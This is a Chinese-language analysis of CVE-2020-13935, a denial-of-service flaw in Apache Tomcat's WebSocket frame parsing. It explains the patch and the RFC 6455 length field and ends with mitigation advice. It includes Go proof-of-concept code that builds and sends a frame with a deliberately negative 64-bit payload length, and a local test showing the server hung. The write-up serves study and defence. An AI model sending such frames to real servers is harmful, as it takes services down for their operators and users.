漏洞名称:
WebSocket Dos Vulnerability in Apache Tomcat (CVE-2020-13935)
漏洞描述:
WebSocket frame中的"负载长度"(payload length)没有被正确地验证.
"无效的负载长度"(Invalid payload lengths)能触发一个"无限循环"(infinite loop). 具有"无效的负载长度"的多个requests能够导致拒绝服务.
触发前提:
tomcat版本在受影响范围内, 且用到了websocket.
Affected Versions:
10.0.0-M1 to 10.0.0-M6
9.0.0.M1 to 9.0.36
8.5.0 to 8.5.56
8.0.1 to 8.0.53
7.0.27 to 7.0.104
diff:
This was fixed with commit 40fa74c7.
Timeline:
2020年6月28日, 这个issue通过Apache Bugzilla实例被公开报告, 其中提到了"高CPU", 但未明确提及DoS.
当天, Apache Tomcat Security Team确定了相关的DoS风险.
该issue于2020年7月14日公开.
我们通过一些分析来回答这些问题, 这些通常也是渗透测试的一部分.
根据补丁 https://github.com/apache/tomcat/commit/40fa74c74822711ab878079d0a69f7357926723d
看diff 这个漏洞是怎么被修复的.
代码文件: java/org/apache/tomcat/websocket/WsFrameBase.java
代码变更: 增加了校验payloadLength
的代码:当 payloadLength < 0
则抛出异常.
line 264-270
// The most significant bit of those 8 bytes is required to be zero // (see RFC 6455, section 5.2). If the most significant bit is set, // the resulting payload length will be negative so test for that. if (payloadLength < 0) { throw new WsIOException( new CloseReason(CloseCodes.PROTOCOL_ERROR, sm.getString("wsFrame.payloadMsbInvalid"))); }
可以看到, 这次代码变更增加了: 对类型为long的"负载长度"(payloadLength)字段的额外检查, 如果值为负值, 则抛出异常.
但是"载荷长度"payloadLength
怎么可能是负的呢?
为了回答这个问题, 让我们看看一个WebSocket frame的结构:
参考 RFC 6455 https://tools.ietf.org/html/rfc6455#section-5.2
如图可见, 帧的前16个bit, 包含了: 几个"标志位"(bit flags)以及7-bit长的"负载长度"(payload length).
该图指出, 如果这个"负载长度"(payload length)设置为127(二进制1111111
), 应该使用 占64个bit的"扩展载荷长度"(extended payload length)作为载荷长度. 具体可见WebSocket RFC的要求:
如果[7bit的载荷长度]为127(二进制1111111
), 则接下来的8个bytes被解释为64-bit长的"无符号整数",作为载荷长度.
【注意】 WebSocket RFC里要求, 这个64-bit长的”无符号整数”的 "最高有效位"必须为0
(the most significant bit MUST be 0).
这是一个特殊要求, 为什么特殊? 这跟正常情况不同.
因为规范要求该字段是64-bit的"无符号整数"(unsigned integer), 但WebSocket RFC规范还要求了, 最高有效位需写为0
. 而通常情况"无符号整数"不是这样的.
所以, 容易让人混淆.
规范为什么要这样设计呢?
也许这是为了提供 与"有符号的实现"的互操作性(provide interoperability with signed implementations), 而做出的选择.
个人理解, 也就是说, 假设某些编程环境把整数都当作有符号数, 解析WebSocket的数据包时, 这些环境会把这个64bit的"扩展载荷长度"(Extended payload length)字段的具体数据, 也当作有符号整数. 此时可能把第1个bit的值1的具体数据, 解释为负数, 这就错了.
规范为了让这些编程环境正确得到payload length(正数), 所以规范要把这个64bit的"扩展载荷长度"字段的值的第1个bit写死为0. 这样, 这些编程环境也一定会把这个64bit的"扩展载荷长度"(Extended payload length)字段里的具体数据, 处理为正数了.
规范的意图是提高容错性, 兼容了少数错误的编程实现: 哪怕你的编程环境违反了WebSocket RFC规范要求的 这64bit的数据应该被当作"无符号整数", 你依然可以得到一个正确的结果(正数).
但是还是有人写的编程实现, 把"扩展载荷长度"(Extended payload length)字段的第1个bit当作了区分正负的依据(1为负,0为正). 导致了漏洞.
怎么构造出poc ?
我们的目标是, 按照RFC规范进行操作, 来精心构造一个WebSocket frame, 当Apache Tomcat解析这个WebSocket frame时会认为具有负的载荷长度.
构造poc的具体过程如下:
FIN
, RSV1
, RSV2
和RSV3
的值.现在我们用golang来构建我们的WebSocket frame的第1个byte (即前8个bit):
var buf bytes.Buffer
fin := 1
rsv1 := 0
rsv2 := 0
rsv3 := 0
opcode := websocket.TextMessage
buf.WriteByte(byte(fin<<7 | rsv1<<6 | rsv2<<5 | rsv3<<4 | opcode))
payload size
分情况讨论, 共3种情况:7-bit payload length
字段中对"payload length"(payload size)进行编码, 也就是Payload len
字段共占7个bit7-bit payload length
字段设置为常数十进制126
(二进制1111110
), 并将"length"作为16-bit unsigned integer编码到接下来紧跟着的2个bytes中(即Extended payload length
字段). 也就是Payload len
字段共占 7 + 2*8 = 23 bit7-bit payload length
字段必须被设置为常数十进制127
(二进制1111111
), 并将"payload length"(payload size)作为一个64-bit unsigned integer, 编码到接下来紧跟着的8个bytes中(即Extended payload length
字段). 也就是Payload len
字段共占 7 + 8*8 = 71 bit如上所述, 对于情况3, 根据规范, 必须将(Extended payload length
字段的)"最高有效位"(the most significant bit, MSB)设置为0.
7-bit payload length
字段的值设置为常数十进制127
(二进制1111111
). 然后为了在Apache Tomcat中触发vulnerable code, 故意将这个占64-bit的Extended payload length
字段的"最高有效位"(MSB)设置为1, 是的就在这里故意违反RFC规范!!// MASK字段 - 占1个bit, 表明是否要对"载荷数据"(Payload data)进行掩码操作.
// client -> server. so we always set the mask bit to 1
// Payload len字段 - indicate 64 bit message length.
// 左移运算符<< 用来把操作数的各个二进制位全部左移若干位, 高位丢弃, 低位补0.
// 按位或运算 | 按bit进行或运算.
buf.WriteByte(byte(1<<7 | 0b1111111))
为了构造一个具有无效"负载长度"(payload length)的帧, 我们将以下8个字节, 每个byte都设置为0xFF
:
十六进制 Hex0xFF
= 二进制 Bin 11111111
= 十进制 Dec 255
// set msb to 1, violating the spec
buf.Write([]byte{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF})
接下来, 是masking key
字段, 占4个byte, 规范要求它的值是 来自于一个强大的"熵"(entropy)来源的随机的32个bit, 但由于我们已经违反了RFC规范, 所以我们使用一个staticmasking key
使代码更易阅读:
// masking key
// 4 bytes
// leave zeros for now, so we do not need to mask
maskingKey := []byte{0, 0, 0, 0}
buf.Write(maskingKey)
实际"负载"(payload)本身的大小, 可以小于"负载长度"(payload length)中指定的length:
// write an incomplete message
buf.WriteString("test")
"数据包"(packet) 的 "组装"(assembly)、传输的实现, 可见以下代码.
为了保证正常运行, 我们在发送这个packet后, 将这个"连接"(connection)保持open
状态30秒.
ws, _, err := websocket.DefaultDialer.Dial(url, nil)
if err != nil {
return fmt.Errorf("dial: %s", err)
}
_, err = ws.UnderlyingConn().Write(buf.Bytes())
if err != nil {
return fmt.Errorf("write: %s", err)
}
// keep the websocket connection open for some time
time.Sleep(30 * time.Second)
PoC是fork的, 注释版 https://github.com/1135/CVE-2020-13935 (仅供查看,请勿运行!)
检测过程:
# 环境搭建: 我自己安装了tomcat 9.0.31 在受影响范围内 (Affects: 9.0.0.M1 to 9.0.36) # 寻找endpoint: 安装 Apache Tomcat 之后, 会有自带的examples 如http://localhost:8080/examples/websocket/echo.xhtml # 这里用到了websocket, 可抓到url. $ ./tcdos ws://localhost:8080/examples/websocket/echoProgrammatic # 亲测, web无法响应了, CPU使用率降不下来, 除非手动重启! # 其他版本未测试.
将Apache Tomcat服务器更新为当前版本. 如果无法更新, 需禁用或限制对WebSockets的访问.
拒绝服务漏洞, 会严重影响业务运行, 影响很大.